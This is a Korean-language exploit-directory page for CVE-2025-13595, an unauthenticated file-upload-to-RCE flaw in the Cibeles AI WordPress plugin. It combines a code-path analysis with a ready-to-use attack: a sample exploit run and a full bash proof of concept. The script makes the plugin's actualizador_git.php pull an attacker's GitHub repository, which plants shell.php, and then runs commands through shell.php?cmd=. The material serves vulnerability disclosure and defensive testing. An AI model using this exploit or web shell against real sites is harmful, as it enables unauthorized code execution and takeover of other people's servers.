Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-13595 — CIBELES AI <= 1.10.8 - 인증되지 않은 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-13595
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubd0n601/cve-2025-13595

CVE-2025-13595

CIBELES AI <= 1.10.8 - 인증되지 않은 임의 파일 업로드

저장소 보기
18개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CIBELES AI <= 1.10.8 - 인증되지 않은 임의 파일 업로드

Cibeles AI WordPress 플러그인 버전 1.10.8 이하에는 actualizador_git.php 파일에 인증되지 않은 원격 코드 실행 취약점이 존재합니다. 이 파일은 인증이나 권한 검사 없이 HTTP로 직접 접근할 수 있어, 인증되지 않은 공격자가 임의의 GitHub 저장소를 다운로드하고 플러그인 파일을 덮어써 원격 코드 실행으로 이어질 수 있습니다.

TL;DR 익스플로잇

원격 공격자가 shell.php를 업로드하고 원격 코드를 실행하는 과정을 시연하는 CVE-2025-13595.py가 제공됩니다:

root@kitploit:~
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND

기술적 분석

취약점은 /wp-content/plugins/cibeles-ai/actualizador_git.php에 존재합니다. 이 파일은 보안 통제 없이 HTTP로 직접 접근할 수 있는 GitHub 저장소 미러링 시스템을 구현합니다.

코드 경로 분석

  1. 직접 파일 접근 (Line 1-17): 이 파일에는 직접적인 HTTP 접근을 차단하는 표준 WordPress ABSPATH 검사(if (!defined('ABSPATH')) exit;)가 없습니다. 매개변수는 검증 없이 $_GET에서 직접 읽습니다:

    root@kitploit:~
    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_cibeles-ai';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. 토큰 검증 (Line 26): 유일한 검증은 토큰이 비어 있거나 기본값인지 확인하는 것입니다. 인증이나 권한 부여는 수행되지 않습니다:

    root@kitploit:~
    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. GitHub API 요청 (Line 31, 35-58): 스크립트는 사용자가 제어하는 매개변수를 사용하여 GitHub API에서 ZIP 파일을 다운로드합니다:

    root@kitploit:~
    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

    curl_download() 함수는 Authorization 헤더에 토큰을 전송하지만 저장소 소유자나 내용에 대한 검증은 수행하지 않습니다.

개념 증명

root@kitploit:~
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"
도구 다운로드
  • ZIP 추출 및 파일 작업 (Line 133-158): 다운로드된 ZIP이 추출되고 파일이 플러그인 디렉터리로 직접 복사됩니다:

    root@kitploit:~
    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd);
    

    rrcopy_into() 함수는 추출된 저장소의 모든 파일을 현재 작업 디렉터리(플러그인 디렉터리)로 재귀적으로 복사하여 기존 파일을 덮어씁니다.

  • 파일 삭제 (Line 152-154): 다운로드된 저장소에 존재하지 않는 파일은 삭제됩니다:

    root@kitploit:~
    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    mirror_delete_extras() 함수는 저장소 매니페스트에 존재하지 않는 플러그인 디렉터리의 모든 파일을 삭제합니다.